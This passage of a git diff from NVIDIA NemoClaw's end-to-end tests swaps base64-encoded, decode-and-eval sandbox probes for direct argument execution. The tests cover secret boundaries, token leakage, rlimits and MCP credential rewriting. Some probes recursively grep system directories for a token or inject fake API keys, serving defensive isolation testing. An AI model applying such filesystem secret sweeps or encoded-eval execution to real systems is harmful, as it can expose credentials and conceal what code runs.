   printf '%s' 'set -euo pipefail; contract_fail() { printf "%s\n" "NEMOCLAW_DCODE_SHELL_RLIMIT_FAIL:$1"; exit 1; }; nproc_soft="$(ulimit -Su)"; nproc_hard="$(ulimit -Hu)"; nofile_soft="$(ulimit -Sn)"; nofile_hard="$(ulimit -Hn)"; for value in "$nproc_soft" "$nproc_hard" "$nofile_soft" "$nofile_hard"; do case "$value" in "" | *[!0-9]*) contract_fail nonnumeric ;; esac; done; [ "$nproc_soft" = 512 ] && [ "$nproc_hard" = 512 ] || contract_fail nproc; [ "$nofile_soft" = 65536 ] && [ "$nofile_hard" = 65536 ] || contract_fail nofile; set +e; ulimit -Su 513 >/dev/null 2>&1; raise_nproc="$?"; ulimit -Sn 65537 >/dev/null 2>&1; raise_nofile="$?"; set -e; [ "$raise_nproc" -ne 0 ] || contract_fail raise-nproc; [ "$raise_nofile" -ne 0 ] || contract_fail raise-nofile; printf "%s\n" NEMOCLAW_DCODE_SHELL_RLIMIT_OK'
 }
diff --git a/test/e2e/e2e-cloud-experimental/checks/08-deepagents-code-secret-boundary.sh b/test/e2e/e2e-cloud-experimental/checks/08-deepagents-code-secret-boundary.sh
index 6f5d37bef6..5dda0b7ee3 100755
--- a/test/e2e/e2e-cloud-experimental/checks/08-deepagents-code-secret-boundary.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/08-deepagents-code-secret-boundary.sh
@@ -35,9 +35,10 @@ sandbox_exec() {
 }
 
 dcode_secret_probe_runtime_env() {
-  # Keep this probe single-line: OpenShell rejects newline-bearing exec arguments.
-  local remote_cmd
-  remote_cmd="tmp=\$(mktemp /tmp/dcode-secret-boundary.XXXXXX); env OPENAI_API_KEY=${FAKE_SECRET@Q} dcode -n 'Reply with the single word PING' >\"\$tmp\" 2>&1; status=\$?; cat \"\$tmp\"; rm -f \"\$tmp\"; printf 'DCODE_EXIT:%s\\n' \"\$status\"; exit 0"
+  # Keep secret injection, output capture, cleanup, and status reporting atomic.
+  local fake_secret_q remote_cmd
+  printf -v fake_secret_q '%q' "$FAKE_SECRET"
+  remote_cmd="tmp=\$(mktemp /tmp/dcode-secret-boundary.XXXXXX); env OPENAI_API_KEY=${fake_secret_q} dcode -n 'Reply with the single word PING' >\"\$tmp\" 2>&1; status=\$?; cat \"\$tmp\"; rm -f \"\$tmp\"; printf 'DCODE_EXIT:%s\\n' \"\$status\"; exit 0"
   sandbox_exec "$remote_cmd"
 }
 
@@ -181,11 +182,11 @@ if [ "${NEMOCLAW_E2E_SECRET_BOUNDARY_SELF_TEST:-}" = "probe-command-shape" ]; th
   sandbox_exec() {
     case "$1" in
       *$'\n'*)
-        printf '%s\n' "NEWLINE_IN_COMMAND"
+        printf '%s\n' "MULTILINE_COMMAND"
         return 1
         ;;
       *)
-        printf '%s\n' "NO_NEWLINE_IN_COMMAND"
+        printf '%s\n' "ATOMIC_COMMAND"
         return 0
         ;;
     esac
diff --git a/test/e2e/e2e-cloud-experimental/checks/09-deepagents-code-tavily-opt-in.sh b/test/e2e/e2e-cloud-experimental/checks/09-deepagents-code-tavily-opt-in.sh
index e2cdb7d9ef..5fbe65d72f 100755
--- a/test/e2e/e2e-cloud-experimental/checks/09-deepagents-code-tavily-opt-in.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/09-deepagents-code-tavily-opt-in.sh
@@ -28,6 +28,10 @@ sandbox_exec() {
   openshell sandbox exec --name "$SANDBOX_NAME" -- bash -c "$1" 2>&1
 }
 
+sandbox_exec_argv() {
+  openshell sandbox exec --name "$SANDBOX_NAME" -- "$@" 2>&1
+}
+
 observability_marker_value() {
   # Expansion is intentionally deferred to the sandbox shell.
   # shellcheck disable=SC2016
@@ -125,14 +129,13 @@ PY
 python_probe() {
   local url="$1"
   local python_bin="${2:-python3}"
-  local encoded remote_cmd
+  local source
   if [ -n "${NEMOCLAW_E2E_TAVILY_PROBE_FIXTURE+x}" ]; then
     printf '%s\n' "$NEMOCLAW_E2E_TAVILY_PROBE_FIXTURE"
     return 0
   fi
-  encoded="$(python_probe_source | base64 | tr -d '\n')"
-  remote_cmd="${python_bin@Q} -c \"\$(printf '%s' ${encoded@Q} | base64 -d)\" ${url@Q}"
-  sandbox_exec "$remote_cmd"
+  source="$(python_probe_source)"
+  sandbox_exec_argv "$python_bin" -c "$source" "$url"
 }
 
 verify_observability_state() {
@@ -174,17 +177,16 @@ PASSED=0
 FAILED=0
 
 if [ "${NEMOCLAW_E2E_TAVILY_SELF_TEST:-}" = "probe-command-shape" ]; then
-  sandbox_exec() {
-    case "$1" in
-      *$'\n'*)
-        printf '%s\n' "NEWLINE_IN_COMMAND"
-        return 1
-        ;;
-      *)
-        printf '%s\n' "NO_NEWLINE_IN_COMMAND"
+  sandbox_exec_argv() {
+    local argument
+    for argument in "$@"; do
+      if [[ "$argument" == *$'\n'* ]]; then
+        printf '%s\n' "NATIVE_MULTILINE_ARGV"
         return 0
-        ;;
-    esac
+      fi
+    done
+    printf '%s\n' "MISSING_MULTILINE_ARGV"
+    return 1
   }
   python_probe "https://api.tavily.com/search"
   exit 0
diff --git a/test/e2e/e2e-cloud-experimental/checks/11-deepagents-code-observability.sh b/test/e2e/e2e-cloud-experimental/checks/11-deepagents-code-observability.sh
index 14f89a6803..ffcdedb7c5 100755
--- a/test/e2e/e2e-cloud-experimental/checks/11-deepagents-code-observability.sh
+++ b/test/e2e/e2e-cloud-experimental/checks/11-deepagents-code-observability.sh
@@ -190,11 +190,11 @@ sandbox_python_probe() {
   local method="$1"
   local url="$2"
   local body="$3"
-  local encoded
-  encoded="$(python_probe_source | base64 | tr -d '\n')"
+  local source
+  source="$(python_probe_source)"
   "$CLI" "$SANDBOX_NAME" exec -- \
     /opt/venv/bin/python3 -I -c \
-    "import base64; exec(compile(base64.b64decode('${encoded}'), '<otlp-policy-probe>', 'exec'))" \
+    "$source" \
     "$method" "$url" "$body" 2>&1
 }
 
@@ -334,15 +334,15 @@ PY
 }
 
 run_deterministic_tool_trace() {
-  local encoded
-  encoded="$(tool_trace_source | base64 | tr -d '\n')"
+  local source
+  source="$(tool_trace_source)"
   "$CLI" "$SANDBOX_NAME" exec -- \
     /usr/local/lib/nemoclaw/dcode-managed-exec \
     env \
     OTEL_SERVICE_NAME="$AMBIENT_CANARY" \
     OTEL_RESOURCE_ATTRIBUTES="ambient.canary=${AMBIENT_CANARY}" \
     /opt/venv/bin/python3 -I -c \
-    "import base64; exec(compile(base64.b64decode('${encoded}'), '<otlp-tool-trace>', 'exec'))" \
+    "$source" \
     "$TOOL_NAME" "$TOOL_ARGUMENT" "$TOOL_RESULT" 2>&1
 }
 
diff --git a/test/e2e/fixtures/clients/sandbox.ts b/test/e2e/fixtures/clients/sandbox.ts
index 5666d2db40..eb85d12953 100644
--- a/test/e2e/fixtures/clients/sandbox.ts
+++ b/test/e2e/fixtures/clients/sandbox.ts
@@ -1,7 +1,6 @@
 // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
 // SPDX-License-Identifier: Apache-2.0
 
-import { Buffer } from "node:buffer";
 import { buildAvailabilityProbeEnv } from "../availability-env.ts";
 import type { ShellProbeResult, ShellProbeRunOptions } from "../shell-probe.ts";
 import { trustedShellCommand } from "../shell-probe.ts";
@@ -56,15 +55,6 @@ export function trustedSandboxShellScript(script: string): TrustedSandboxShellSc
   return script as TrustedSandboxShellScript;
 }
 
-function sandboxShellArgument(script: TrustedSandboxShellScript): string {
-  const encodedScript = Buffer.from(script, "utf8").toString("base64");
-  return [
-    "command -v base64 >/dev/null 2>&1 || { echo NEMOCLAW_BASE64_MISSING >&2; exit 127; }",
-    `_NEMOCLAW_E2E_SCRIPT="$(printf '%s' '${encodedScript}' | base64 -d)" || exit $?`,
-    `eval "$_NEMOCLAW_E2E_SCRIPT"`,
-  ].join("; ");
-}
-
 export class SandboxClient {
   private readonly runner: CommandRunner;
   private readonly openshellPath: string;
@@ -131,13 +121,10 @@ export class SandboxClient {
     options: ShellProbeRunOptions = {},
   ): Promise<ShellProbeResult> {
     validateSandboxName(name);
-    return this.openshell(
-      ["sandbox", "exec", "-n", name, "--", "sh", "-lc", sandboxShellArgument(script)],
-      {
-        artifactName: `sandbox-exec-shell-${name}`,
-        ...options,
-      },
-    );
+    return this.openshell(["sandbox", "exec", "-n", name, "--", "sh", "-lc", script], {
+      artifactName: `sandbox-exec-shell-${name}`,
+      ...options,
+    });
   }
 
   upload(
diff --git a/test/e2e/fixtures/mcp-bridge-credentials.ts b/test/e2e/fixtures/mcp-bridge-credentials.ts
index b2b7f057a1..5e858c0530 100644
--- a/test/e2e/fixtures/mcp-bridge-credentials.ts
+++ b/test/e2e/fixtures/mcp-bridge-credentials.ts
@@ -6,4 +6,8 @@ export const MCP_BRIDGE_TEST_CREDENTIALS = {
   rotatedHost: "fake-rotated-mcp-secret-value",
   rebindHost: "fake-rebind-mcp-secret-value",
   compatibleEndpoint: "fake-compatible-mcp-bridge-key",
+  // Prefix shared by the exact-main generation-window fixture. The live test
+  // appends a bounded generation number, while the artifact scanner searches
+  // for this prefix so any member of the sequence is still detected.
+  generationWindow: "fake-generation-window-secret-",
 } as const;
diff --git a/test/e2e/live/bedrock-runtime-compatible-anthropic.test.ts b/test/e2e/live/bedrock-runtime-compatible-anthropic.test.ts
index 3eb845eca5..fbd5fc9bcf 100644
--- a/test/e2e/live/bedrock-runtime-compatible-anthropic.test.ts
+++ b/test/e2e/live/bedrock-runtime-compatible-anthropic.test.ts
@@ -122,8 +122,7 @@ function isMissingSandboxCleanupOutput(text: string): boolean {
 }
 
 function sandboxShellArgs(script: string): string[] {
-  const encoded = Buffer.from(script, "utf8").toString("base64");
-  return ["sh", "-lc", `printf %s ${shellQuote(encoded)} | base64 -d | sh`];
+  return ["sh", "-lc", script];
 }
 
 function assertAgent(value: string): asserts value is AgentName {
diff --git a/test/e2e/live/brave-search-helpers.ts b/test/e2e/live/brave-search-helpers.ts
index c636b6d5a0..f2b05e17f9 100644
--- a/test/e2e/live/brave-search-helpers.ts
+++ b/test/e2e/live/brave-search-helpers.ts
@@ -44,17 +44,12 @@ export async function bestEffortPreclean(run: () => Promise<unknown>): Promise<v
   }
 }
 
-function singleLineShell(script: string): string {
-  const encoded = Buffer.from(script, "utf8").toString("base64");
-  return `tmp=$(mktemp); trap 'rm -f "$tmp"' EXIT; printf %s '${encoded}' | base64 -d > "$tmp"; sh "$tmp"`;
-}
-
 export async function sandboxShell(
   sandbox: SandboxClient,
   script: string,
   options: { artifactName: string; timeoutMs?: number; redactionValues?: string[] },
 ): Promise<ShellProbeResult> {
-  return await sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(singleLineShell(script)), {
+  return await sandbox.execShell(SANDBOX_NAME, trustedSandboxShellScript(script), {
     artifactName: options.artifactName,
     env: commandEnv(),
     timeoutMs: options.timeoutMs ?? 60_000,
diff --git a/test/e2e/live/cron-preflight-inference-local.test.ts b/test/e2e/live/cron-preflight-inference-local.test.ts
index 1a7e6343ab..7ebc01bd96 100644
--- a/test/e2e/live/cron-preflight-inference-local.test.ts
+++ b/test/e2e/live/cron-preflight-inference-local.test.ts
@@ -183,17 +183,6 @@ function parseProbeJson(output: string): CronPreflightProbeJson | undefined {
   return JSON.parse(line) as CronPreflightProbeJson;
 }
 
-function probeShell(): string {
-  const encoded = Buffer.from(PROBE_SOURCE, "utf8").toString("base64");
-  return (
-    [
-      ". /tmp/nemoclaw-proxy-env.sh",
-      '__probe="$(mktemp /tmp/nemoclaw-preflight-probe.XXXXXX.cjs)"',
-      `printf %s '${encoded}' | base64 -d > "$__probe"`,
-    ].join(" && ") + '; node "$__probe"; __rc=$?; rm -f "$__probe"; exit "$__rc"'
-  );
-}
-
 async function preCleanCronSandbox(sandbox: SandboxClient): Promise<void> {
   await preCleanBestEffort(() =>
     sandbox.cleanupSandbox(SANDBOX_NAME, {
@@ -285,7 +274,7 @@ test("cron preflight reaches managed inference.local provider without EAI_AGAIN"
   expect(install, "install command must run").toBeDefined();
   expect(install?.exitCode, resultText(install as ShellProbeResult)).toBe(0);
 
-  const probe = await host.nemoclaw([SANDBOX_NAME, "exec", "--", "sh", "-c", probeShell()], {
+  const probe = await host.nemoclaw([SANDBOX_NAME, "exec", "--", "node", "-e", PROBE_SOURCE], {
     artifactName: "phase-2-cron-preflight-probe",
     env: commandEnv(hosted.env),
     redactionValues: [apiKey],
diff --git a/test/e2e/live/gateway-guard-recovery.test.ts b/test/e2e/live/gateway-guard-recovery.test.ts
index b7303e83de..405755e3b5 100644
--- a/test/e2e/live/gateway-guard-recovery.test.ts
+++ b/test/e2e/live/gateway-guard-recovery.test.ts
@@ -42,7 +42,6 @@
  * #2701 guard-chain assertion.
  */
 
-import { Buffer } from "node:buffer";
 import { containsInteger42Answer } from "../../helpers/e2e-answer-assertions.ts";
 import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
 import { resultText } from "../fixtures/clients/command.ts";
@@ -106,10 +105,6 @@ uid_line=next(line for line in rows[0][1].splitlines() if line.startswith("Uid:"
 assert uid_line.split()[1:] == [expected_uid] * 4, uid_line
 print("MANAGED_SUPERVISOR=" + rows[0][0] + ":PPID1")`;
 
-const SUPERVISOR_TOPOLOGY_COMMAND = `import base64;exec(base64.b64decode("${Buffer.from(
-  SUPERVISOR_TOPOLOGY_SCRIPT,
-).toString("base64")}"))`;
-
 async function findSandboxContainer(host: HostCliClient, artifactName: string): Promise<string> {
   const result = await host.command(
     "docker",
@@ -317,10 +312,9 @@ test("gateway recovery restores /tmp guard chain after pod-recreate wipe (#2701)
   expect(recoveredStartupCommand).not.toContain("CUSTOM_PROVIDER_CREDENTIAL");
   expect(recoveredStartupCommand).not.toContain(credentialCanary);
 
-  expect(SUPERVISOR_TOPOLOGY_COMMAND).not.toMatch(/[\r\n]/);
   const topology = await sandbox.exec(
     instance.sandboxName,
-    ["python3", "-c", SUPERVISOR_TOPOLOGY_COMMAND],
+    ["python3", "-c", SUPERVISOR_TOPOLOGY_SCRIPT],
     {
       artifactName: "legacy-restart-managed-supervisor-topology",
       env: buildAvailabilityProbeEnv(),
diff --git a/test/e2e/live/hermes-discord.test.ts b/test/e2e/live/hermes-discord.test.ts
index 11d9c4255c..4f94e85258 100644
--- a/test/e2e/live/hermes-discord.test.ts
+++ b/test/e2e/live/hermes-discord.test.ts
@@ -20,9 +20,9 @@ import {
   expectExitZero,
   phase6Env,
   resultText,
-  sandboxEncodedSh,
   sandboxNode,
   sandboxSh,
+  sandboxShWithArgs,
   shellQuote,
   trackPreinstallSandboxCleanup,
 } from "./phase6-messaging-helpers.ts";
@@ -305,7 +305,7 @@ async function runHermesPythonDiscordGatewayProof(
   port: string,
   redactionValues: string[],
 ): Promise<ShellProbeResult> {
-  return sandboxEncodedSh(
+  return sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     `FAKE_DISCORD_GATEWAY_CLIENT_HOST=${shellQuote(FAKE_DISCORD_HOST)} FAKE_DISCORD_GATEWAY_CLIENT_PORT=${shellQuote(port)} /opt/hermes/.venv/bin/python - <<'PY'\n${HERMES_DISCORD_PYTHON_GATEWAY_PROOF}\nPY\n`,
@@ -324,7 +324,7 @@ async function assertRawTokenAbsentFromFiles(
   redactionValues: string[],
 ): Promise<void> {
   const tokenB64 = Buffer.from(token, "utf8").toString("base64");
-  const probe = await sandboxEncodedSh(
+  const probe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     `token="$(printf %s ${shellQuote(tokenB64)} | base64 -d)"\nif grep -Fq "$token" /sandbox/.hermes/config.yaml /sandbox/.hermes/.env 2>/dev/null; then echo LEAK; else echo OK; fi`,
@@ -349,7 +349,7 @@ async function rawTokenSurfaceProbe(
       : surface === "process"
         ? buildProcessTokenProbe(token)
         : `token="$(printf %s ${shellQuote(tokenB64)} | base64 -d)"\nhit="$(grep -rFlm1 -F "$token" /sandbox /home /etc /tmp /var 2>/dev/null | head -1 || true)"\nif [ -n "$hit" ]; then printf 'FOUND_TOKEN %s\\n' "$hit"; else echo ABSENT; fi`;
-  return sandboxEncodedSh(sandbox, SANDBOX_NAME, script, [], {
+  return sandboxShWithArgs(sandbox, SANDBOX_NAME, script, [], {
     artifactName,
     redactionValues,
     timeoutMs: surface === "filesystem" ? 120_000 : 60_000,
@@ -483,7 +483,7 @@ test("hermes-discord: Hermes Discord schema, credential isolation, native gatewa
   expect(resultText(health!)).toMatch(/"ok"/i);
 
   const expectedRequireMention = DISCORD_REQUIRE_MENTION === "0" ? "false" : "true";
-  const configProbe = await sandboxEncodedSh(
+  const configProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     `EXPECTED_REQUIRE_MENTION=${shellQuote(expectedRequireMention)} python3 - <<'PY'
@@ -530,7 +530,7 @@ PY`,
   expectExitZero(configProbe, "Hermes Discord config shape");
   expect(configProbe.stdout.trim()).toBe("OK");
 
-  const envProbe = await sandboxEncodedSh(
+  const envProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     `EXPECTED_ALLOWED_USERS=${shellQuote(normalizedCsv(DISCORD_ALLOWED_IDS))} EXPECTED_GUILD_IDS=${shellQuote(normalizedCsv(DISCORD_SERVER_IDS))} python3 - <<'PY'
@@ -677,7 +677,7 @@ req.end();
       throw new Error(`Discord API call failed: ${discordApiResult.error}`);
   }
 
-  const bridgeResidue = await sandboxEncodedSh(
+  const bridgeResidue = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`set +e
diff --git a/test/e2e/live/hermes-slack-e2e-helpers.ts b/test/e2e/live/hermes-slack-e2e-helpers.ts
index 0996763dfe..f4f13865a6 100644
--- a/test/e2e/live/hermes-slack-e2e-helpers.ts
+++ b/test/e2e/live/hermes-slack-e2e-helpers.ts
@@ -16,8 +16,8 @@ import {
   phase6Env,
   precleanSandbox,
   resultText,
-  sandboxEncodedSh,
   sandboxSh,
+  sandboxShWithArgs,
   shellQuote,
   trackPreinstallSandboxCleanup,
 } from "./phase6-messaging-helpers.ts";
@@ -368,7 +368,7 @@ export async function runHermesSlackE2E({
 
   await waitForHermesHealth({ sandbox, apiKey });
 
-  const configProbe = await sandboxEncodedSh(
+  const configProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`python3 - <<'PY'
@@ -414,7 +414,7 @@ PY`,
   expectExitZero(configProbe, "Hermes Slack config shape probe");
   expect(configProbe.stdout.trim()).toBe("OK");
 
-  const rendererProbe = await sandboxEncodedSh(
+  const rendererProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`python3 - <<'PY'
@@ -451,7 +451,7 @@ PY`,
   expectExitZero(rendererProbe, "Hermes Slack Block Kit renderer probe");
   expect(rendererProbe.stdout.trim()).toBe("OK");
 
-  const envProbe = await sandboxEncodedSh(
+  const envProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`python3 - <<'PY'
@@ -479,7 +479,7 @@ PY`,
   expectExitZero(envProbe, "Hermes Slack .env placeholder probe");
   expect(envProbe.stdout.trim()).toBe("OK");
 
-  const secretBoundaryProbe = await sandboxEncodedSh(
+  const secretBoundaryProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`python3 - <<'PY'
@@ -600,7 +600,7 @@ else:
   expect(slackBlock).toContain("wss-backup.slack.com");
   expect(slackBlock).toContain("request_body_credential_rewrite: true");
 
-  const bridgeResidue = await sandboxEncodedSh(
+  const bridgeResidue = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`set +e
@@ -626,7 +626,7 @@ done`,
   expectExitZero(bridgeResidue, "Hermes Slack bridge residue probe");
   expect(resultText(bridgeResidue).trim()).toBe("");
 
-  const slackProbe = await sandboxEncodedSh(
+  const slackProbe = await sandboxShWithArgs(
     sandbox,
     SANDBOX_NAME,
     String.raw`sh -lc '. /tmp/nemoclaw-proxy-env.sh 2>/dev/null || true; if [ -x /opt/hermes/.venv/bin/python ]; then exec /opt/hermes/.venv/bin/python -; fi; exec python3 -' <<'PY'
diff --git a/test/e2e/live/kimi-inference-compat-helpers.ts b/test/e2e/live/kimi-inference-compat-helpers.ts
index c950d82d83..41f4fe400f 100644
--- a/test/e2e/live/kimi-inference-compat-helpers.ts
+++ b/test/e2e/live/kimi-inference-compat-helpers.ts
@@ -8,11 +8,7 @@ import path from "node:path";
 import { buildAvailabilityProbeEnv } from "../fixtures/availability-env.ts";
 import type { HostCliClient } from "../fixtures/clients/host.ts";
 import { resultText } from "../fixtures/clients/index.ts";
-import {
-  type SandboxClient,
-  trustedSandboxShellScript,
-  validateSandboxName,
-} from "../fixtures/clients/sandbox.ts";
+import { type SandboxClient, validateSandboxName } from "../fixtures/clients/sandbox.ts";
 import { expect } from "../fixtures/e2e-test.ts";
 import { CLI_ENTRYPOINT, REPO_ROOT } from "../fixtures/paths.ts";
 
@@ -548,15 +544,10 @@ export async function assertTrajectory(
   mode: KimiInferenceMode,
 ): Promise<void> {
   const checkScript = buildKimiTrajectoryCheckScript(mode === "mock");
-  const encoded = Buffer.from(checkScript, "utf8").toString("base64");
-  const trajectory = await sandbox.execShell(
-    SANDBOX_NAME,
-    trustedSandboxShellScript(`python3 -c "$(printf %s '${encoded}' | base64 -d)"`),
-    {
-      artifactName: "kimi-trajectory-tool-splitting-check",
-      env: env({}, { mode }),
-      timeoutMs: 60_000,
-    },
-  );
+  const trajectory = await sandbox.exec(SANDBOX_NAME, ["python3", "-c", checkScript], {
+    artifactName: "kimi-trajectory-tool-splitting-check",
+    env: env({}, { mode }),
+    timeoutMs: 60_000,
+  });
   expect(trajectory.exitCode, resultText(trajectory)).toBe(0);
 }
diff --git a/test/e2e/live/mcp-bridge-sandbox.ts b/test/e2e/live/mcp-bridge-sandbox.ts
index 37ac1862c6..5d9f5b8927 100644
--- a/test/e2e/live/mcp-bridge-sandbox.ts
+++ b/test/e2e/live/mcp-bridge-sandbox.ts
@@ -66,15 +66,15 @@ export function isExpectedMcpCurlPolicyDenial(
 
 /**
  * Build an MCP request whose curl child retains the selected adapter runtime
- * as an ancestor. OpenShell v0.0.72 attributes policy to /proc/<pid>/exe and
+ * as an ancestor. OpenShell v0.0.85 attributes policy to /proc/<pid>/exe and
  * ancestors, so this exercises the same unavoidable Node/Python identity used
  * by the corresponding adapter instead of an unrelated curl-only identity.
  *
  * Pinned upstream source contract:
- * NVIDIA/OpenShell@8cb16de9eae4c44d7d31e1493747d8c10abb5963,
- * crates/openshell-supervisor-network/src/proxy.rs:2476-2502 resolves once,
- * :2527-2567 validates that address list, :2622-2630 returns it unchanged,
- * and :822-832 passes that same list directly to TcpStream::connect.
+ * NVIDIA/OpenShell@3dee5570a46076a57a3b056f35f35ebc0861ac85,
+ * crates/openshell-supervisor-network/src/proxy.rs:2648-2674 resolves once,
+ * :2699-2739 and :2794-2803 validate and return that same address list,
+ * and :1079-1081 passes it directly to TcpStream::connect.
  */
 export function buildMcpDnsRebindingProbeScript(
   adapter: McpDnsRebindingAdapter,
diff --git a/test/e2e/live/mcp-bridge.test.ts b/test/e2e/live/mcp-bridge.test.ts
index 672a93475a..7e241b387f 100644
--- a/test/e2e/live/mcp-bridge.test.ts
+++ b/test/e2e/live/mcp-bridge.test.ts
@@ -44,7 +44,9 @@ import {
   startFakeMcpHttpsServer,
   startPublicMcpHttpsTunnel,
 } from "./mcp-bridge-servers.ts";
+import { MCP_PROVIDER_REWRITE_PROBE_SOURCE } from "./mcp-provider-rewrite-probe.ts";
 import { assertRawOpenShellAllowedIpsRebindingDenied } from "./openshell-allowed-ips-rebinding.ts";
+import { prepareExactMainMcpProof } from "./openshell-exact-main-mcp-proof.ts";
 
 const OPENCLAW_SANDBOX_NAME = process.env.NEMOCLAW_SANDBOX_NAME ?? "e2e-mcp-bridge";
 const HERMES_SANDBOX_NAME = process.env.NEMOCLAW_MCP_HERMES_SANDBOX_NAME ?? "e2e-mcp-hermes";
@@ -978,43 +980,8 @@ test("mcp-bridge", { timeout: 45 * 60_000 }, async ({ artifacts, cleanup, host,
     true,
   );
 
-  const mcpCallScript = `const https = require("node:https");
-const url = new URL(process.argv[2]);
-const method = process.argv[3];
-const expectation = process.argv[4];
-const credentialKey = process.argv[5] || "FAKE_MCP_SECRET";
-const body = JSON.stringify({ jsonrpc: "2.0", id: 1, method });
-const req = https.request({
-  hostname: url.hostname,
-  port: url.port,
-  path: url.pathname,
-  method: "POST",
-  headers: {
-    "content-type": "application/json",
-    "content-length": Buffer.byteLength(body),
-    "authorization": "Bearer openshell:resolve:env:" + credentialKey
-  }
-}, (res) => {
-  let data = "";
-  res.setEncoding("utf8");
-  res.on("data", (chunk) => { data += chunk; });
-  res.on("end", () => {
-    console.log(JSON.stringify({ status: res.statusCode, body: data }));
-    const allowed = res.statusCode === 200 && data.includes("fake_echo");
-    const denied = res.statusCode === 403;
-    process.exit(expectation === "allow" ? (allowed ? 0 : 1) : (denied ? 0 : 1));
-  });
-});
-req.on("error", (error) => {
-  console.error(error.message);
-  const strictDenied = expectation === "deny-strict" && /HTTP\\/1\\.[01] 403 Forbidden/.test(error.message);
-  strictDenied && console.log(JSON.stringify({ status: 403, error: error.message }));
-  process.exit(expectation === "deny" || strictDenied ? 0 : 1);
-});
-req.end(body);
-`;
+  const mcpCallScript = MCP_PROVIDER_REWRITE_PROBE_SOURCE;
   await artifacts.writeText("mcp-provider-rewrite-proof.cjs", mcpCallScript);
-  const mcpCallScriptB64 = Buffer.from(mcpCallScript, "utf8").toString("base64");
   const runNodeMcpProbe = async (
     targetUrl: string,
     method: string,
@@ -1027,8 +994,9 @@ req.end(body);
       trustedSandboxShellScript(
         [
           "set -eu",
-          `printf '%s' ${JSON.stringify(mcpCallScriptB64)} | base64 -d > /tmp/nemoclaw-mcp-provider-rewrite-proof.cjs`,
-          `nemoclaw-start node /tmp/nemoclaw-mcp-provider-rewrite-proof.cjs ${JSON.stringify(targetUrl)} ${JSON.stringify(method)} ${expectation} ${JSON.stringify(credentialKey)}`,
+          `nemoclaw-start node - ${shellQuote(targetUrl)} ${shellQuote(method)} ${shellQuote(expectation)} ${shellQuote(credentialKey)} <<'NEMOCLAW_MCP_PROVIDER_REWRITE_PROBE'`,
+          mcpCallScript,
+          "NEMOCLAW_MCP_PROVIDER_REWRITE_PROBE",
         ].join("\n"),
       ),
       {
@@ -1366,7 +1334,7 @@ mcpBridgeShardTest("hermes")(
 mcpBridgeShardTest("deepagents")(
   "mcp-bridge-deepagents",
   { timeout: 45 * 60_000 },
-  async ({ artifacts, cleanup, host, sandbox }) => {
+  async ({ artifacts, cleanup, host, lifecycle, sandbox }) => {
     await artifacts.writeJson("scenario.json", {
       id: "mcp-bridge-deepagents",
       sandbox: DEEPAGENTS_SANDBOX_NAME,
@@ -1397,11 +1365,17 @@ mcpBridgeShardTest("deepagents")(
     const hostAddress = await hostAddressForSandbox(host);
     const endpointUrl = `http://${hostAddress}:${compatibleMock.port}/v1`;
     const mcpUrl = fakeMcpTunnel.url;
+    const exactMainProof = prepareExactMainMcpProof(
+      { artifacts, cleanup, host, lifecycle, sandbox },
+      DEEPAGENTS_SANDBOX_NAME,
+      mcpUrl,
+    );
     await onboardAgent(host, cleanup, endpointUrl, {
       agent: "langchain-deepagents-code",
       sandboxName: DEEPAGENTS_SANDBOX_NAME,
       artifactName: "onboard-deepagents-mcp-bridge",
     });
+    await exactMainProof.afterOnboard();
     cleanup.add("remove Deep Agents MCP bridge", () =>
       cleanupMcpBridge(host, DEEPAGENTS_SANDBOX_NAME, SERVER_NAME, "deepagents-config"),
     );
@@ -1439,6 +1413,7 @@ mcpBridgeShardTest("deepagents")(
       resultToken: deepAgentsResult,
       artifactName: "deepagents-real-mcp-tool-call-initial",
     });
+    await exactMainProof.assertLogPrivacy([TOOL_CHALLENGE, deepAgentsResult], "fake_echo");
     await restartBridgeWithoutHostSecret(host, DEEPAGENTS_SANDBOX_NAME, "deepagents");
     await assertRealAdapterToolCall(sandbox, fakeMcp, {
       agent: "langchain-deepagents-code",
@@ -1463,6 +1438,7 @@ mcpBridgeShardTest("deepagents")(
       "deepagents-assert-secrets-absent-after-rotation",
     );
     await rebuildWithoutMcpHostSecret(host, DEEPAGENTS_SANDBOX_NAME, "deepagents");
+    await exactMainProof.afterRebuild();
     await assertDeepAgentsConfig(sandbox, DEEPAGENTS_SANDBOX_NAME, mcpUrl);
     await assertSecretAbsentFromSandbox(
       sandbox,
diff --git a/test/e2e/live/mcp-provider-rewrite-probe.ts b/test/e2e/live/mcp-provider-rewrite-probe.ts
new file mode 100644
index 0000000000..ae6cc18a51
--- /dev/null
+++ b/test/e2e/live/mcp-provider-rewrite-probe.ts
@@ -0,0 +1,38 @@
+// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+// SPDX-License-Identifier: Apache-2.0
+
+export const MCP_PROVIDER_REWRITE_PROBE_SOURCE = `const https = require("node:https");
+const url = new URL(process.argv[2]);
+const method = process.argv[3];
+const expectation = process.argv[4];
+const credentialKey = process.argv[5] || "FAKE_MCP_SECRET";
+const body = JSON.stringify({ jsonrpc: "2.0", id: 1, method });
+const req = https.request({
+  hostname: url.hostname,
+  port: url.port,
+  path: url.pathname,
+  method: "POST",
+  headers: {
+    "content-type": "application/json",
+    "content-length": Buffer.byteLength(body),
+    "authorization": "Bearer openshell:resolve:env:" + credentialKey
+  }
+}, (res) => {
+  let data = "";
+  res.setEncoding("utf8");
+  res.on("data", (chunk) => { data += chunk; });
+  res.on("end", () => {
+    console.log(JSON.stringify({ status: res.statusCode, body: data }));
+    const allowed = res.statusCode === 200 && data.includes("fake_echo");
